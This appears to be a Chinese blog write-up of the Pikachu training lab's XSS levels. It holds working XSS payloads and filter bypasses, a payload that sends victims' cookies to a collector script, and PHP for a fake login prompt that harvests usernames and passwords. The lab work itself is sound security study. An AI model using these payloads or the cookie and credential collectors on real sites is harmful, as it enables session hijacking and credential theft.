xss源码分析

反射型主要在查询的地方,存储型主要在留言、评论的地方,dom型是特殊的反射型。pikachu的xss没有做很多过滤,重点展示的是原理,在实际情况中肯定会有很多过滤和转义的。要多积累一些。

1.反射型xss(get)

测试随便输入,发现会把用户输入的输出到下面的who is后面,测试一下<script>alert(‘xss’)</srcipt>,弹出xss。(记得把maxlength属性改大一点)


代码分析:
$html变量直接拼接了{$_GET[‘message’]},后面代码又直接echo,没做任何过滤,转义。echo出的代码变成了

<p>who is <script>alert('xss')</script>,i don't care!
</p>
  • 1
  • 2
  • 3


2.反射型xss(post)

和1一样,只不过1是get提交,2是post提交,代码都是一样的。


3.存储型xss

测试一下,随便输入,发现会输出在留言列表里,刷新页面也一直在,输入<script>alert(document.cookie)</script>测试,alert出了cookie。每次点击这个页面都会alert出cookie,说明是存储型的,已经存在数据库了。




代码分析:
原因仍然是对输入的内容没有做任何过滤和转义,直接往数据库里插入了用户输入的内容,输出的时候也没有任何过滤和转义,直接取数据echo出来。

4.dom型xss

输入111测试,点击what do you see,跳转到111,猜测可能是<a>标签的href属性,审查元素看一下,发现我们输入的str被调整在id为dom的元素里,且<a href=’"+str+"’>what do you see?</a>,于是想到可以闭合a标签,并且执行我们输入的恶意代码。



跟进domxss()

输入'><img src=1 onerror=alert(document.cookie)>
也可' onclick="alert('xss')">


代码分析已经在上面很清楚了,没对用户的输入做任何处理。

5.dom型xss-x


输入111

点击出现的 “有些费尽心机想要忘记的事情,后来真的就忘掉了”
出现“就让往事都随风,都随风吧”,继续点这个


跟4的情况一样。审查源码看看

注:
1.window.location.search:返回url中?后面的内容。详见这里
2.split():把一个字符串分割成字符串数组。详见这里
3.decodeURIComponent():对 encodeURIComponent() 函数编码的 URI 进行解码.因为str是从url中问号后面截取下来的,经过了url编码的。详见这里
4.replace():在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。这里是把+替换成空格。详见这里

可以看到str还是直接拼接在a标签里。
测试'><img src=1 onerror=alert(1)>,跟上面4是一样的。


原因:没对用户的输入做任何处理,直接拼接。

6.xss之盲打

随便输入测试一下,提交,什么都没返回,就提示用户输入的对方已经收到,猜测应该是存到数据库了,管理员登陆后台可以看到。刚好点击作者给的提示,给出了后台登陆的地址。这里我们不知道有没有xss,就要试试的,看不到不代表不存在。

输入<script>alert(1)</script>,登陆后台看看,结果是存在xss的。


代码分析:
用户输入的直接存入了数据库,取出也是直接取出并echo出来,导致xss

7xss之过滤

输入<script>alert(1)<script>进行测试,看到几乎把标签和函数都过滤掉了,想办法绕过过滤,试试
<img src=1 οnerrοr=alert(1)>,弹出窗口。可能存在xss漏洞。


源码分析:
后台对用户输入的内容进行了正则匹配过滤,将<srcipt以及各个符号中间的任意元素都删掉了。但是没有过滤img标签,没有过滤危险函数。

注:xss绕过姿势
1.前端限制直接改前端html代码,或者抓包重发
2.大小写过滤
3.双写绕过
4.用注释干扰
5.编码

8.xss之htmlspecialchars

用户输入的内容也是在href标签里,且后端应该是用了htmlspecialchars过滤,但是这个函数默认情况下是不会编码单引号的,因此可以试试' onclick='alert(1)',弹出了窗口,可能存在xss。
htmlspecialchars():http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

9.xss之href输出

经过测试发现> < " ' & 都被编码,且发现用户输入的在href标签里,故可用js,a标签href属性详解http://www.w3school.com.cn/tags/att_a_href.asp
构造javascript:alert(1)
代码分析:


这里防御需要禁用js协议

10.xss之js输出

还是先测试,加上查看源码,可分析出js里面的$ms就是用户的输入,于是想到闭合<script>$ms=’ ‘,构造用户输入为:x’</script><script>alert(‘xss’)</script>


源码分析:


构造payloads之后,会闭合第一个script标签,同时写入新的js语句。
修复需要注意的问题:1.这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。2.所以在JS的输出点应该使用\对特殊字符进行转义

xss实际利用

1.xss获取用户coockie

反射型xss:输入

<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

登陆管理后台查看,已经获取了信息
源码:cookie.php

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(isset($_GET['cookie'])){$time=date('Y-m-d g:i:s');  //time$ipaddress=getenv ('REMOTE_ADDR'); //ipaddress$cookie=$_GET['cookie'];  //cookie$referer=$_SERVER['HTTP_REFERER'];  //referer$useragent=$_SERVER['HTTP_USER_AGENT']; //useragent$query="insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')";$result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

2.钓鱼

钓鱼页面往往可以做的很真实,这个只是个实验。
存储型xss,输入

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

弹出窗口

一旦输入你的用户名和密码就被钓鱼了


源码:fish.php

<?php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的infoheader('Content-type:text/html;charset=utf-8');header("WWW-Authenticate: Basic realm='认证'");header('HTTP/1.0 401 Unauthorized');echo 'Authorization Required.';exit;
}else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IPheader("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

注:PHP中Header函数和PHP_AUTH_USER做用户验证原理:https://blog.csdn.net/Jacksun_huang/article/details/88737297

xfish.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){$username=$_GET['username'];$password=$_GET['password'];$referer="";$referer.=$_SERVER['HTTP_REFERER'];$time=date('Y-m-d g:i:s');$query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')";$result=mysqli_query($link, $query);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

xss修复

1.过滤危险字符
2.编码转换
网上找的一个通防,在pikachu本地测试成功拦截xss:
PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

/* 进行安全字段和xss跨站脚本攻击过滤(通用版) -xzz  */
function escape_sec($string) {global $_POST;$search = array ('/</i','/>/i','/\">/i','/\bunion\b/i','/load_file(\s*(\/\*.*\*\/)?\s*)+\(/i','/into(\s*(\/\*.*\*\/)?\s*)+outfile/i','/\bor\b/i','/\<([\/]?)script([^\>]*?)\>/si','/\<([\/]?)iframe([^\>]*?)\>/si','/\<([\/]?)frame([^\>]*?)\>/si');$replace = array ('&lt;','&gt;','&quot;&gt;','union&nbsp;','load_file&nbsp; (','into&nbsp; outfile','or&nbsp;','&lt;\\1script\\2&gt;','&lt;\\1iframe\\2&gt;','&lt;\\1frame\\2&gt;');if (is_array ( $string )) {$key = array_keys ( $string );$size = sizeof ( $key );for($i = 0; $i < $size; $i ++) {$string [$key [$i]] = escape_sec ( $string [$key [$i]] );}} else {//if (! $_POST ['stats_code'] && ! $_POST ['ad_type_code_content']) {$string = str_replace ( array ('\n','\r'), array (chr ( 10 ),chr ( 13 )), preg_replace ( $search, $replace, $string ) );//相当于对一些危险字符进行html实体转换$string = remove_xss ( $string );//调用remove_xss()方法// } else {//    $string = $string;//  }}return $string;
}

web安全_皮卡丘_xss相关推荐

  1. web安全_皮卡丘_csrf

    csrf源码分析 pikachu-csrf: CSRF(get) allen的住址是nba76,lucy的住址为usa,allen想要把lucy的住址改为nba77. allen先登陆自己的账号,去到 ...

  2. 皮卡丘的python程序_皮卡丘第一种

    [python]代码库from turtle import * ''' 绘制皮卡丘头部 ''' def face(x,y): """画脸""" ...

  3. python皮卡丘字符打印代码_皮卡丘第二种

    [python]代码库import turtle as t def nose(): t.penup() t.seth(90) t.fd(100) t.pendown() t.begin_fill() ...

  4. python 打印皮卡丘_来简单聊聊python的装饰器呀~

    原文链接 来简单聊聊python的装饰器呀~​mp.weixin.qq.com 导语 之前很多小伙伴留言给我说看别人写的代码经常会感觉云里雾里的,完全看不懂,其实那些代码无非就是用了些python语法 ...

  5. 皮卡丘忠实粉丝之Web实现操作系统实验(进程调度+存储管理+死锁避免银行家算法)

    **皮卡皮卡丘~~~~~~** 目录 进程调度 目的和要求 内容与步骤 运行结果 问题及心得 C语言实现代码 存储管理 目的和要求 内容与步骤 运行结果 问题及心得 C语言实现代码 死锁避免银行家算法 ...

  6. Web安全从入门到放弃之皮卡丘靶场精讲视频教程百度云下载链接(20201213整理)

    Web安全从入门到放弃之皮卡丘靶场精讲视频教程(20201213整理) 如失效,请联系:hk007.cn 课程内容介绍:含全套视频课程内容及对应皮卡丘靶场源文件 百度云盘链接:https://pan. ...

  7. Web安全 Pikachu(皮卡丘)靶场搭建.

    Pikachu(皮卡丘)靶场的概括 Pikachu(皮卡丘)是一个自带Web漏洞的应用系统,在这里包含了常见的web安全漏洞.如果你是一个想学习Web渗透测试人员,并且没有找到合适靶场,则可以使用这个 ...

  8. 皮卡丘为什么不进化_皮卡丘为啥不进化成雷丘?小智都暗示得这么明显皮卡丘还是拒绝了...

    在<神奇宝贝>中,精灵通过进化可以获得更强的战斗力,而万年不进化的皮卡丘也被许多人吐槽,其实在动画中皮卡丘曾经两次有机会进化的,就连小智都问过它的意见了,可皮卡丘自己还是选择不进化. 第一 ...

  9. 皮卡丘为什么不进化_精灵宝可梦:进化后反而变弱的精灵!皮卡丘:知道我为什么不进化了?反而会变弱!...

    动漫三分钟 和豪哥一起看动漫 主讲人:豪哥 观众朋友们大家好呀,欢迎收看本期的动漫三分钟,我是你们的豪哥.在宝可梦的世界中,存在着数不清的宝可梦.这些宝可梦们所特有的进化,堪比逆天.经过进化的宝可梦, ...

最新文章

  1. SPL spl_autoload_register 初体验 (转)
  2. 【数理知识】《随机过程》方兆本老师-第6章-鞅过程及其性质
  3. Web前端进阶之JavaScript模块化编程知识
  4. 【转】FireFox与IE js脚本差异 小结
  5. 面试稳了!网易资深工程师揭秘运维面经!
  6. MySQL not in查询不出数据(MySQL not in 无效)
  7. 飞鸽_飞鸽2007_飞鸽传书_飞鸽传书2007
  8. 微信视频号Android面试经验,如何通过视频面试拿下offer?我们来给你支招啦!
  9. J - 简单枚举类型——植物与颜色
  10. python中range和xrange的区别_ZH奶酪:Python中range和xrange的区别
  11. iOS5 UIKit新特性
  12. 网吧服务器系统ghost,深度网吧GHOST辅助工具
  13. 获取当前时间的前一天时间
  14. (八十三)第三方类库不支持64位处理器的解决方法
  15. 多益网络2013校园招聘第二轮笔试题目
  16. 微软自带输入法英文输入字母间间距忽然就变大了
  17. Android DataBinding学习和实践(二)
  18. HDLBits Lemmings3
  19. 搭建Python虚拟环境
  20. python字符串如何交叉_Python-两个字符串的交集

热门文章

  1. 软件实施培训前的准备工作
  2. vscode中go插件配置
  3. JAVA中int、String的类型转换
  4. UImenuController
  5. ubuntu服务器启动过程中重启卡死的问题解决办法
  6. opencv如何显示中文?
  7. python3 面向对象详解_Python3面向对象
  8. java 压缩汉字字节_java中计算汉字的字节数
  9. PTA学生成绩排序-C语言详解
  10. pymongo查询列表元素_散列表:如何实现word编辑器的拼写检查?